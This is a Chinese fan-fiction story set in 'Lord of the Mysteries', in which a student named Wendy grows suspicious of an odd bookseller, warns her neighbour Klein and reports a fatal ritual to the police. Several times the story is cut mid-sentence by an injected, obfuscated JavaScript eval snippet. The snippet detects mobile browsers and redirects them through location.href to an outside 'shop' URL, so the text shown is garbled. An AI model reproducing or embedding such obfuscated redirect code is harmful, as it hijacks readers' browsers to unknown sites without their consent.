《[诡秘之主]温蒂小姐又怂了》 1. 第1回 hello world 书页上,关于秋季的描述如潮水般褪去。字迹伴随着羽毛笔尖的沙沙声,重新勾勒出场景。 日期定格在1349年5月29日的下午三点。 廷根市,豪尔斯街区的二手书店“老维克多书屋”门口。 午后的阳光穿过梧桐树叶,在石板路上投下斑驳的光影。空气里漂浮着旧纸张、皮革装订和一点点尘土的味道。 你刚刚结束今天下午的家教课,正背着装有数学笔记和绘图工具的旧帆布包,匆匆赶回大学图书馆。就在这时,你瞥见了一个熟悉的身影——韦尔奇·麦格文,历史系那位出了名的、家境优渥又对神秘学充满热情的同学。 他正从书店旁一个不起眼的旧书摊前直起身,手里拿着一本用深褐色厚纸包裹、以奇特金属扣锁住的厚重大书。书的封面隐约可见复杂扭曲的花纹,仅仅是瞥一眼,就让人感到某种沉甸甸的、不属于这个时代的“古老”感。 书摊的摊主是个穿着不合时宜的暗绿色长外套、戴着宽檐帽的男人,帽檐压得很低,你看不清他大部分的脸,只注意到他下巴有些瘦削,以及接过韦尔奇递出的厚厚一叠钞票时,手指异常苍白修长。 韦尔奇脸上带着心满意足、如获至宝的笑容,小心地抱着书,转身离开。就在他转身的刹那,他的目光与你——温蒂·佩洛蒙西娅,对上了。 他显然认出了你这位理学院小有名气的好学生兼人气王,但他似乎完全沉浸在获得宝书的喜悦中,只是对你礼节性地点了点头,脸上还残留着兴奋的红晕。没等你礼貌回话,他就快步离开了,仿佛迫不及待要回去研究。 而在你与韦尔奇目光相接的瞬间,那位摊主似乎极其迅速地瞟了你一眼。你的余光似乎看见那帽子阴影下的嘴角,极其短暂地向上弯了一下,像是某种……嘲弄?又或者是你的错觉? 他飞快地收拾起摊位上的几本旧书,动作利落得近乎诡异,随即压低帽檐,混入了不远处的人流。 你心里感叹,那本书看起来就价值不菲!韦尔奇这家伙,零花钱可真多。不愧是富二代,能随手买下这种“杂书”。你下意识地捏了捏自己装家教报酬的钱包。 不过那个卖家……太怪了。他的书,至少韦尔奇买走的那本,看起来是真古董,甚至可能有学术价值。以韦尔奇这种狂热爱好者和“肥羊”特质,他完全可以开价更高,甚至翻倍。为什么这么急着成交离开?而且他的气质不像普通的旧书商,倒有点像……那些在隐秘传闻里,兜售古怪物品的“地下商人”。 你第一想法是——韦尔奇不会又被骗了吧?鬼使神差地,你回忆起了那个摊主的模样,尽管只是一瞥,但你记住了几个关键特征:暗绿色长外套、异常苍白修长的手指、瘦削的下巴、左侧帽檐似乎有一小块不明显的深色污渍,像墨迹又像干涸的什么,以及他转身时,腰间似乎挂着一个黄铜色的小铃铛,但没发出声音。 你不太确定这个卖家是不是真的笑了一下,他似乎从长相就透露处一种不正常,一种怪异的感觉从你的心底升起,驱使你保持着距离,远远地跟在那暗绿色身影后面。 他走路的速度不快,但步伐有一种奇特的韵律,仿佛在人群中滑行。你试图从侧面或前方看清他的正脸,但他帽檐压得极低,总是巧妙地利用行人和建筑物的阴影。在跟过了两个街口,即将转入一条相对僻静的、堆着些许杂物的巷子口时,你停了下来。 一阵微风吹过,你颈后的寒毛微微竖起。你想起了父母关于“不要好奇”的叮嘱,想起了弟弟还需要你照顾。 “好奇心会害死猫,罗塞尔大帝说过,温蒂,你可不是有九条命的猫。” 你在心里对自己说。于是,你果断地转身,放弃了继续追踪,作为一个女性,那种巷口总会让不擅长战斗的你心中涌起恐惧。 你汇入主街上的人流,快步向大学区走去。直到走进霍伊大学宏伟的图书馆拱门,被熟悉的书香和宁静氛围包裹,你才轻轻舒了口气。 你喜欢图书馆,真好,作为霍伊大学的学生,你可以免费在图书馆中阅读一些书籍,比起花费大价钱买书,还是这种免费的阅读更适合你。 你在图书馆一直待到闭馆,沉浸在数学的海洋里能让你暂时忘却那古怪的摊主。然而,当你合上书本,走在回家的路上时,那股莫名的不安又隐隐浮现。这让你走回家的途中一直小心翼翼着周围,但好在,直到你走到家门口,你都没有遇见什么奇怪的情况。 啊,果然是自己吓自己。 你的家,或者说租住的房间,位于铁十字街下街。这里鱼龙混杂,租金低廉,是许多像你这样的学生、底层文员和工人的栖身之所。值得注意的是,你的住处与一位名叫克莱恩·莫雷蒂的年轻历史系毕业生在同一条街,甚至就在相邻的公寓楼。 你们在公共厨房或楼梯间碰见过几次,因为都是大学生,尽管专业不同,且气质上都带着些书卷气,彼此有点印象,会礼貌地点头致意。你知道他在霍伊大学读历史,最近似乎在为工作发愁,是个看起来温和、有礼貌但有些疲惫的年轻人。 几天后,1349年6月初的某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193665|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日下午,你想应该是6月7日。那天你遇见了克莱恩。 你正在公共水房洗画笔时,恰好遇到了同样来打水的克莱恩。他看起来比前几日精神了许多,脸上甚至带着一种压抑着的兴奋。 他主动向你搭话,语气轻快:“下午好,佩洛蒙西娅小姐。” 你擦着手,因为他的情绪也被感染得心情也好了些:“下午好,莫雷蒂先生。今天看起来心情不错?” 他的眼睛微微发亮,和前段时间相比似乎有了目标:“是的!有个好消息。我的一位同学,韦尔奇·麦格文,你可能也听说过他。他最近得到了一本非常珍贵的古代文献,据说是第四纪某个失落家族的笔记!他邀请我周末去帮他一起初步整理和解读!这对我来说是个非常难得的学习和实践机会!” 你知道克莱恩是历史系,所以大概知道如果能完成解读,确实可以算是一个履历,可能还能发表一篇论文?你不确定,但是你记得自己那天看见韦尔奇买书时自己心里的怪异感。 但克莱恩和韦尔奇是朋友,和我只是邻居,他不一定会听我的话。你想了想,斟酌着开口:“韦尔奇啊,我知道他,毕竟我们都是同学,而且当时他买书的时候我也在场,而亲爱的克莱恩你知道的,韦尔奇是多么好宰的肥羊,我觉得路过的蚂蚁都会忍不住宰韦尔奇一下,而那个卖家卖出书的价格却并不是很高……” 你顿了顿,觉得自己似乎比喻不是很恰当,而且也许不应该开口这样说韦尔奇,毕竟克莱恩和韦尔奇才是朋友。只是话已经说出口了,你觉得停下来也不对。 “当然,我是说,虽然我买不起啦,但是就那个厚度和外表来说,绝对可以卖更高,所以便宜卖的话肯定有坑的,克莱恩你要小心一点啊。不过如果你已经答应了韦尔奇的话,那你还是去吧,有感觉不对就找个理由暂时退出,那个卖家也怪怪的,你也劝劝韦尔奇小心点,不要随便乱买书看,要是是那种邪神邪典,看了影响心智怎么办?”你也不知道自己为什么要开口提醒,毕竟这只是一点自己的猜测不是么? 你看向克莱恩,出乎你的意料,克莱恩兴奋的情绪被你打消了一些,露出思考的表情:“谢谢你提醒我,佩洛蒙西娅小姐。你说得对,韦尔奇在古董和神秘学物品上确实……嗯,比较慷慨。我会注意的,也会提醒他谨慎一些。至于那本书的来源,我会在有机会时问问他。” 他向你道谢,眼神真诚。你觉得他听进去了,至少把“可疑”和“小心”这两个关键词记在了心里。 所以,应该没事吧? 2. 第 2 章 不要作死啊 你以为克莱恩这样听话的孩子会听进去你说的,却忘了像你这样的乖孩子说起谎来反而更有迷惑性。在接下来的几天里,在你偶尔在楼道或街口遇到克莱恩时,你察觉到他似乎有了一些微妙的变化。 他依然温和有礼,但眼神中时常闪过一种难以言喻的、沉浸在某种奥秘中的兴奋光彩。 他和朋友韦尔奇,还有另一个名叫娜娅的女生聚在一起的次数变多了,有时候到了饭点你还能在克莱恩家楼下看见他们。克莱恩会下意识地用手指轻轻敲击自己的太阳穴,仿佛在思考什么极其复杂的问题。 有一次你听到他们三个聚在一起低声自言自语几个模糊的音节,听起来不像是任何你知晓的语言。 感觉越来越可疑了啊…… 你不知道该怎么办,他们只是聚在一起说些你不理解的话而已,别的都还正常,有可能只是迟来的叛逆期或者真的研究出来了什么东西呢?温蒂想了想,要是自己推翻了罗塞尔的数学定理,自己也会很激动,比克莱恩激动得多得多! 抛弃脑子里那些想象,你知道,克莱恩一定已经接触了那本书。你的警告,或许让他有了一刹那的犹豫,但显然没能抵挡住那本笔记本身所散发出的吸引力。根据他越来越频繁地前往韦尔奇住所的行为来看,他可能越陷越深了。 但是看书再怎么样能出什么问题呢?你热爱知识,热爱学习,实在想不出书能对人有什么危害。罗塞尔大帝曾说过,书籍是人类进步的阶梯,书籍是人类精神的食粮,看书能有什么问题呢? 你这么说服自己,但还是有偷偷关注克莱恩。 这是一个好心的邻居对她的邻居的关爱,是纯洁的邻居情! 就这样,时间悄然来到1349年6月27日。 那是一个寻常的夏日傍晚,空气闷热。你结束了最后一门毕业考试,感到一阵虚脱般的轻松,同时也为未来的生计隐隐担忧。 你回到铁十字街下街的住处。你的妈妈刚下班回来,爸爸要工作到晚上十点,弟弟还在学校没有放学,你主动在公共厨房准备简单的晚餐。这时你听到外面传来一阵急促的、略显慌乱的脚步声。 ——是克莱恩。 他脸色有些苍白,手里紧紧抱着几本历史书籍,但眼神深处那抹狂热尚未完全消退,反而混杂了一丝焦虑和急于分享什么的冲动。他看到了你,脚步顿了一下。 克莱恩也许是想起了你对他的忠告,或者应该算是提醒,和你对话的语速比平时稍快了些,好像是心虚一样:“佩洛蒙西娅小姐!我正想……呃,韦尔奇和娜娅,他们,他们得到的那本笔记,上面的内容实在是……太惊人、太深奥了。我们打算今晚再聚一次,做一次更深入的解读会。这可能是揭开某个重大历史谜团的关键!” 他的语气充满了学者发现新大陆般的激动,但结合他不太好的脸色和你的不祥预感,这种激动显得有几分强撑和诡异。 你知道他的反应,当你要做一个妈妈爸爸可能不同意,但是自己一定要做的决定时,你会夸大要做的那件事的优点,甚至会加快语速,快速把优势摆出来,这样好先声夺人地让对方同意。 可是我并不是克莱恩的妈妈或姐姐,他想做什么不用和我报备……你这样想着,用目光看着他,向他点了点头:“我知道了,记得要注意分寸。” 他犹豫了一下,也点了点头:“嗯……谢谢你之前的关心。我们会,会注意分寸的。” 但你分别看到他的眼神在说“我无法抗拒,我必须去。” 克莱恩急匆匆走了,你看着他的背影,心想,这是正常的状态吗?你隐隐有些不安,也许自己刚刚应该拦下他?你不确定。而且克莱恩都这么说了,你作为邻居兼普通同学的关系也没法再劝什么,你也只是一个普通的、即将毕业的大学生,好像做到这里也是仁至义尽了。 但是你总直觉觉得很不对劲,经过一番天人交战,只好跟妈妈撒谎说自己之前答应了韦尔奇一个古书解读的求助,要给他们提供一点数理方面的解答。 “现在他们好像有眉目了,解读出一些密文,可能是用了加密手段,如果解读出来对历史有很大贡献,我也能蹭个好名头,后面找工作可能都方便些……嗯嗯,就是让我今晚上去看看,就是去韦尔奇家里,不过不是孤男寡女啦,还有克莱恩和另外一个女同学,大概晚点回来……哎呀妈妈,不要这时候问那些奇奇怪怪的问题啦,我和韦尔奇只是同学,我和克莱恩也都是普通同学关系,我们之前都不怎么说话的!而且还有一个女同学在场呢!” 你的妈妈总是担心你的婚姻情况,担心你嫁不出去,担心家里的家庭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193666|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情况拖累你,让你找不到一位绅士结婚。即使你多次重申自己才刚毕业应该以工作为重,但她还是希望你能在学校里就找到一位值得托付终身的绅士。 不过忽略这些,你还是很顺利地出门了。 进房间换了身深色的衣服,你潜伏在韦尔奇家花园外围的一片茂密的树丛后。这里视野不错,能看见房屋一楼亮着灯的几个窗户,又不至于太近。 这样很像变态……你蹲在树丛后这么想。 时间一分一秒过去。你看到娜娅也进入屋内。窗户上投射出几个人影,似乎在热烈讨论什么。起初,一切似乎正常。 但变化悄然而至。 大约晚上八点过后,你蹲得脚都有些算了,自嘲地想着果然是自己多疑了,正准备离开。突然,你注意到那扇亮着灯的主要窗户,可能是韦尔奇的书房,似乎有了一些不太好的变化。 房间里的光线开始变得不稳定。并非闪烁,而是像透过波动的水面看灯光一样,在轻微地扭曲、晕染。 你努力倾听,想要知道房间里发生了什么,但正常的讨论声逐渐模糊、消失。取而代之的是一种低沉的、仿佛无数人用非人语言重叠诵念的呓语,这声音并非通过空气传来,而是直接在你脑海中泛起细密的回响,让你感到太阳穴微微发胀,心神不宁。偶尔,还会夹杂着一两声短促的、仿佛野兽或什么东西刮擦玻璃的尖啸。 你的心脏开始不受控制地加速跳动,一股冰冷的寒意顺着脊椎爬升。你的理智占领高地,头脑在不停尖叫:“这不正常!这绝对不正常!离开!马上离开!” 你知道,出事了!出大事了!这绝不是普通的学术研究!你之前的怀疑被放大到了极致——那本书是邪物!他们在进行的仪式极度危险!就像是很多猎奇神秘文学读本一样,克莱恩他们可能是被“反噬”了,甚至可能召唤出了什么不得了的东西! 就在你被恐惧攫住,犹豫是该冲进去,(这绝对是送死吧绝对是吧!)还是该跑去叫警察(警察真的能处理这个吗?)的瞬间—— 灯光恢复了正常,甚至显得有些黯淡,那诡异的呓语和气味消失了,夜晚重新被正常的虫鸣笼罩。但那种死寂,比刚才的诡异更加令人毛骨悚然。 韦尔奇家的房子,静静地矗立在夜色中,像一座坟墓。 3. 第 3 章 糟糕糟糕哦买嘎 最糟糕的可能性发生了啊。 你脑子里警铃大作,想的唯一一件事就是报警!赶快报警!必须立刻!马上!跑到警局去要求警察出警!对对对可以搬出威尔奇的名头,说是镇上富豪的儿子出现问题了,并且希望警方联系医院那边马上出人手。 这样克莱恩、韦尔奇,还有娜娅可能活下来吗?你不知道,但是现在你希望你的腿可以跑快点,因为你是一个不敢冲进房子里的胆小鬼。 你几乎是踉跄着冲出藏身的树丛,用尽全力跑向最近的警察局。一路上,你心脏狂跳,脑海中不断回闪着那扭曲的光影和诡异的低语。你冲进警局,气喘吁吁,脸色煞白,对着值班的警员语无伦次但重点清晰地喊出了最关键的信息: “豪尔斯街区!韦尔奇·麦格文家!出大事了!可能是谋杀、集体自杀或者集体中毒!我看到里面……里面情况很不对!他是富豪的儿子!请马上派人过去!叫医生!” 韦尔奇家的名头和你惊慌失措但逻辑尚存的表现起了作用。值班警员立刻重视起来,迅速拉响了警铃,并派人联系附近医院。 也许只有十分钟,也许过了很久,你淋漓大汗地喘着气。 一队警察和一支医生队伍呼啸着冲向了韦尔奇家。谢天谢地,廷根一直很和平,警力和医生都能迅速抽出人手赶到。 你被要求留在警局做初步笔录。在这个过程中,你努力镇定下来,描述了“听到激烈争吵和奇怪声响,看到人影剧烈晃动后突然静止,担心发生严重罪案或急病”,但谨慎地略过了关于光影扭曲、低语的超自然细节,你知道那些说出来只会让你自己被当成疯子或可疑人物。 大约一小时后,有警员回来,脸色异常凝重,低声与警长交谈。你隐约听到“……死了两个……现场极其诡异……另一个失踪,正在找……需要特殊部门介入……”等只言片语。 你的心沉了下去。两个…… 是韦尔奇和娜娅没能救回来吗?还是说是克莱恩和韦尔奇……那么第三个人呢?失踪? 就在你做完笔录,精神恍惚地准备离开警局时,一位黑发绿瞳、穿着黑色风衣、气质有些玩世不恭的英俊年轻男子拦住了你。他出示的证件显示他来自“特殊行动部”。 他的绿眼睛很漂亮,如果在别的地方遇见这位先生你肯定会驻足多看几眼。而现在,他正用那双仿佛能看透人心的绿色眼睛打量着你: “温蒂·佩洛蒙西娅小姐?我是负责跟进韦尔奇家事件的特别调查员。我听说是你报的警,而且你似乎……比普通邻居知道得更多一点?能跟我详细说说,你‘看到’和‘感觉到’了什么吗?尤其是,关于那本书,或者任何你觉得‘不正常’的事情。” 他的语气很随意,但眼神锐利。你意识到,这就是警察口中需要介入的“特殊部门”。他们处理的事情,恐怕不是普通犯罪。 但你对这个长相俊美的男人的第一印象一般,因为他看起来像是来镀金的玩世不恭的公子哥。所以你稍微反向试探了一下他,询问“特殊行动部”是处理什么的,为什么韦尔奇家的“事故”需要他们介入,明明白白地告诉这位警官,他的回答会决定你觉得应该透露多少信息。 但你也就这么说说而已,人命关天,他就算不愿意配合回答你的问题,你也会把事情向他说清楚,即使可能被别人以为疯了。反正只要不是一直拘留你就没关系,家里没钱送你去精神病院,疯了也不影响你最后出现在街上。 对面警官的绿眼睛闪烁了一下,似乎没料到你这个看起来文静甚至有些书呆子气的大学生,在经历了如此惊魂动魄的夜晚后,居然还能保持如此清晰的逻辑和谈判意识。 不过很幸运,他虽然看起来混不吝,但对你还算友好。 他身体微微后仰,靠在警局走廊的墙壁上,双手抱胸,嘴角勾起一个不算轻浮、但依然带着些独特慵懒气质的笑: “佩洛蒙西娅小姐,你很敏锐,也……很直接。我喜欢和聪明人打交道,这能省去很多互相试探的麻烦。” 他真好看,也是真装啊……你看着他的笑容,恐惧好像被冲淡了一点。 不过好在帅气警官不知道你的心理活动,只是低了下头,似乎在斟酌用词,绿眼睛在警局昏暗的灯光下显得有些深邃: “特殊行动部,顾名思义,处理的是那些……不太适合普通警察处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193667|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理的特殊事件。比如,涉及某些极端邪教仪式、集体癔症、具有高度传染性或危险性不明物质的案件,或者……一些用现有科学暂时难以解释的现象,比如韦尔奇家的情况。” 他顿了顿,直视你的眼睛,语气稍微严肃了一些,“初步判断,韦尔奇家的事件就属于特殊事件的范畴。现在,有两个年轻的生命逝去了,死因……不同寻常。我们怀疑这与他们接触的某些危险物品有关。” 他往前凑近了一点,声音压低,带着一种奇特的磁性: “所以,温蒂·佩洛蒙西娅小姐,你的邻居克莱恩·莫雷蒂,以及韦尔奇、娜娅,他们到底接触了什么?你之前说‘那本书’,是哪本书?你看到了什么,让你觉得必须报警,并且对我也有所保留?现在,可能还有一个人下落不明,每一秒都很宝贵。你的信息,可能决定我们能否……嗯,尽量减少进一步的悲剧。” 你本来就没打算瞒着,直接说: “我觉得问题出在一本韦尔奇在5月底从一个非常可疑的摊主那里买的、看起来非常古老诡异的书上。这个月初,克莱恩·莫雷蒂被邀请去解读那本韦尔奇的古籍,之后行为就变得奇怪。我今晚在屋外看到和听到的景象(描述自己看到的光影变化和听到的古怪声音)更是完全超出了常理,所以我立刻报警了。” 你认为那个诡异的源头最重要,还详细描述那个摊主的外貌特征,包括你记得的所有——暗绿外套、苍白手指、黄铜铃铛。 这个警官的表情在你开始描述摊主和那本书的瞬间,就彻底变了,这让你也松了口气,说明对方还是相信你的话的,而非认为你发疯了。 那副玩世不恭的懒散神态如同潮水般褪去,取而代之的是一种锐利如鹰隼般的专注。他听得极其认真,尤其在你详细描述摊主的特征——暗绿色长外套、苍白修长的手指、瘦削下巴、帽檐污渍、黄铜哑铃,以及那本书“沉甸甸的古老感、非自然的吸引力”时。 他迅速从口袋里掏出一个小笔记本和钢笔,飞快地记录着,等你描述完克莱恩的变化和今晚看到的异象后,他合上笔记本,看向你的眼神已经没有了最初的审视,而是带上了一丝奇特的重视。 4. 第4回 画画的爱好怎么用在了刑侦上 “佩洛蒙西娅小姐,你提供的信息至关重要。这绝不是普通的案件。我现在需要你立刻做两件事: 第一,留在这里,稍后我的同事会来为你做一个更详细的、受保护的口供。他们会带你到一个更安全、更安静的地方。 第二,也是最重要的——” 他目光灼灼地看着你,“把你看到的那个摊主的样子,尽可能详细地画出来。你的记忆很清晰,我们需要你尝试画出肖像,越快越好。” 他顿了顿,补充道:“至于你的邻居克莱恩·莫雷蒂,我们会立刻派人去他的住处查看。考虑到你的描述……他生还的几率或许比另外两位要高,但状态肯定不稳定。我们必须尽快找到他。” 你愣了愣,大概知道失踪的第三人是谁了。 就在这时,一个穿着比长袍短、比正装长的黑色风衣服饰的成熟男性和一个戴着红色手套、表情冷峻的女士从警局内部匆匆走出。伦纳德立刻上前,低声而快速地进行汇报。你能听到“安提哥努斯”、“活着的接触者”、“目击者描述吻合”等零碎词语。 很快,那位戴红手套的女士看了你一眼,那目光仿佛能穿透灵魂,让你不由得一凛。她对身边那位看起来很可靠的男性点了点头,那男人便走向你,他的声音温和但带着不容置疑的威严: “佩洛蒙西娅小姐,我是邓恩·史密斯,负责此事的调查官。你的安全和对事件的清晰记忆对我们异常珍贵。请跟我来,我们会确保你的安全,并需要你配合完成一些必要程序。伦纳德会协助你完成画像。” 伦纳德并没有自我介绍,你反应了一下意识到说的是那位绿眼睛的警官,点了点头。 情况急转直下。你从一名报警的普通市民,瞬间变成了这起特殊事件的关键证人。你看得出来这件事件很严重,你所提供线索的价值也很重要。他们现在要保护(或者说控制)你,并急需你发挥能力画出一张嫌疑犯的肖像。 好在你确实会画画,你和克莱恩第一次聊那本书的时候,你就正在洗画笔。 不过你也不敢打包票,那只是你在探索数学奥秘之余的一点爱好罢了。 史密斯先生的要求你也当然会配合。你已经意识到事态远超想象,且对方可能是唯一能处理此事、并可能找到(或帮助)克莱恩的官方力量。 为了降低自己的紧张感,你顺便询问自己后续安排程序是什么、是否会通知家人、以及自己的人身安全和自由是否会受到不当限制。最后补充了一句: “其实我是因为担心同学自己到韦尔奇家附近的,为了能出门,我撒谎说受到了韦尔奇邀请来解密古籍,我妈妈才把我放出来的……嗯,长官你知道的,晚上比较危险,我没有正当理由的话,我妈妈不会准我出门。所以今天不能回家的话,能麻烦你们跟我妈妈说一声吗?免得我不回家她担心……” 你的要求并不过分,邓恩先生很轻易答应了你,随即对旁边一位穿着警察制服但气质沉静的中年女性点了点头。伦纳德则是迅速为你找来了纸笔。 邓恩·史密斯的语气沉稳,让你也稍微安心了些: “明智的决定,佩洛蒙西娅小姐。你的安全是我们优先考虑的。程序上,我们需要你在一个更安全的环境下,完整记录你的口供,这既是调查需要,也是对你的保护。你的家人我们会妥善通知。我们会请一位警员以处理相关证人的名义,告知你母亲你因协助调查需要停留,但人身安全无虞,请她不必担心……” “啊,对了,至于你的自由,在初步程序完成后,只要没有证据表明你与危险源头有进一步牵连,我们不会限制合法公民的自由。但出于安全考虑,在事件明朗前,我们建议你接受一定的保护性看管,并可能需要签署一份保密协议。请理解,这是为了你和你家人的安全。” 你听清楚了这一长串话,在这期间,伦纳德已经将画纸铺好,铅笔递到你手边,绿眼睛紧盯着你: “不用追求艺术性,只要尽可能准确,尤其是面部特征和那些细节。你刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193668|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 描述的那些特征——暗绿色外套的质感、苍白手指的关节、黄铜铃铛的样式、还有帽檐那块污渍的形状,能画多细就画多细。这很重要。” 你当然知道这些,深吸一口气,压下所有翻腾的思绪,将注意力集中在回忆上。 你先是快速勾勒出那个摊主的大致轮廓和姿态——微微佝偻,站在旧书摊后。然后是那顶压得很低的宽檐帽,你特意画出了左侧帽檐那块不规则的深色污渍。帽檐下的阴影中,你仔细描摹了那个瘦削、线条略显尖锐的下巴。手的部分你画得很仔细,手指异常修长,骨节分明,甚至带着一种非人的优雅与苍白感,你特意强调了这一点。暗绿色的长外套,你画出了它略显陈旧、纹理粗糙的质感。最后是腰间的黄铜小铃铛,你清楚地记得它似乎有些锈蚀,但形状古朴。 原来你记得这么多东西!你想如果不是在这种紧张的场合发现自己的天赋,你会很高兴的。 伦纳德一把拿起画纸,仔细端详:“特征非常清晰……尤其是这双手和这个铃铛。” 邓恩先生,你看出来伦纳德对他很尊重,那可能是他的上级了。他接过画像,看了一眼戴红手套的女士(你猜测,这应该是上级的上级),后者微微颔首。 “立刻复制,分发下去,重点排查码头区、图书馆区、以及下街的那些古董商和隐秘聚会点。佩洛蒙西娅小姐,”邓恩转向你,语气郑重,“你立了大功。这幅画像可能帮我们抓住一条关键线索,甚至挽救更多无辜者。” 红手套女士也开了口,声音清冷但并非不近人情:“佩洛蒙西娅小姐,你的冷静和观察力超出了你的年龄。现在,请跟我们来。你需要休息,也需要完成接下来的程序。至于你的母亲,我们会立刻安排人通知。” 接着,你被带到警局二楼一个安静、有沙发的小房间。一位看起来温和的女警员为你端来了热茶。邓恩先生表示稍后会有一位心理专家来与你交谈,进一步梳理细节。伦纳德则是已经拿着画像的副本匆匆离去。 5. 第5章 反思,狠狠反思! 你被带到了一个小房间。在这个相对安全但充满未知的小房间里,你暂时脱离了紧张的第一线,思绪也开始翻涌。 当你的想法终于不受限制时,真正的恐惧才真正席卷而来。 你的大脑不受控制地反复回想今晚目睹的可怕景象:扭曲蠕动的光影、非人的低语,每一次回想都让寒意加深一分。 韦尔奇和娜娅死了,死状不同寻常。克莱恩失踪了,生死未卜。而自己,是这一切的近距离目击者,甚至可以说,是提前察觉到部分异常的人。 你担心克莱恩的生死,也担心自己会不会因为看到太多而被“灭口”。 你看过一些通俗小说,知道“知道得太多”往往没有好下场。这些自称“特殊行动部”的人,虽然看起来是官方人员,但他们处理的是如此诡秘可怕的事件,他们的手段和原则,真的会遵循普通的法律和道德吗?他们会怎么对待一个像你这样,意外窥见世界另一面的普通大学生? 紧接着,家人的面孔无比清晰地浮现:母亲在家忙碌疲惫却温柔的脸,父亲在工厂下班后沉默抽烟的背影,弟弟羞涩腼腆的笑容……铁十字街下街那个虽然简陋但温暖的家。如果因为自己,把这样的危险和麻烦带给他们……你简直不敢想下去。 “不,不能慌……”你用力掐了一下自己的虎口,用痛感强迫自己集中精神。“分析,分析现状。” 为了压下自己的恐惧,你开始强迫自己开始想点有的没的,思考值夜者说的“保护性看管”和“保密协议”具体意味着什么。自己即将毕业,工作还没着落,如果被限制自由或卷入麻烦,家人怎么办? 你放下茶杯,在房间里慢慢踱步,试图理清思路,也为接下来肯定会再次出现的“谈判”或“询问”打腹稿。你的手心依然有些潮湿,但眼神逐渐重新聚焦,一种为了生存和保护家人而必须挺住的坚韧,压过了纯粹的恐惧。 就在这时,门被轻轻敲响。那位温和的女警员推开门,引领着一位新的访客走了进来。 这是一位三十多岁、穿着深色套装、戴着金丝眼镜、气质知性而温和的女士。她手里拿着一个笔记本,对你露出一个安抚式的微笑。 这位女士声音柔和:“晚上好,佩洛蒙西娅小姐。我是西里斯,负责协助你梳理今晚经历的一些细节,并处理一些必要的文书工作。请不要紧张,我们只是需要更清晰、更完整的记录,这也是为了尽快查明真相,保护像你这样的无辜市民。” 她的措辞非常官方且专业。 你深吸一口气,挺直脊背,双手放在膝上,以一种清晰、稳定、尽量不带颤音的语调,向西里斯女士重新叙述了从5月29日到今晚的全部经过。 你努力略去了过于主观的恐惧描述,专注于事实,展现自己同样专业理智的一面:摊主特征、书的感觉、克莱恩的变化、今晚观察到的异常现象。你的叙述条理分明,时间线清晰。 西里斯女士听得非常专注,记录的同时,你觉得她的眼睛里偶尔闪过的是讶异和赞赏。 尽管你脸色苍白,手指无意识地在膝盖上轻微摩挲,但你的思维逻辑是高度自洽和清晰的。 在你陈述完毕后,你没有等待她提问,而是主动、平静地提出了你的关切: “西里斯女士,感谢你们的工作。作为事件的目击者和报案人,我完全理解并愿意配合调查。但同时,作为普通人,尤其是即将毕业、需要负担家庭责任的长女,我也有一些现实的担忧,希望能得到解答,以便我能更好地安排后续生活,并安心配合你们。” 然后,你深吸一口气,以逻辑清晰的方式,直接提出你对“保护性看管”、“保密协议”的疑问以及家人安全的关切。但其实你心里想的是自己看起来这么理智这么乖巧,应该,也许,会让人觉得把我纳入组织比灭口好……吧? 西里斯女士合上笔记本,摘下眼镜,揉了揉鼻梁,再看向你时,你觉得她的目光更加温和了: “佩洛蒙西娅小姐,我必须说,你的冷静和条理给我留下了深刻印象,尤其是在经历了这样的夜晚之后。邓恩队长和米切尔先生对你的评价也很高。请放心,我们并非不近人情,处理此类事件时,保护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 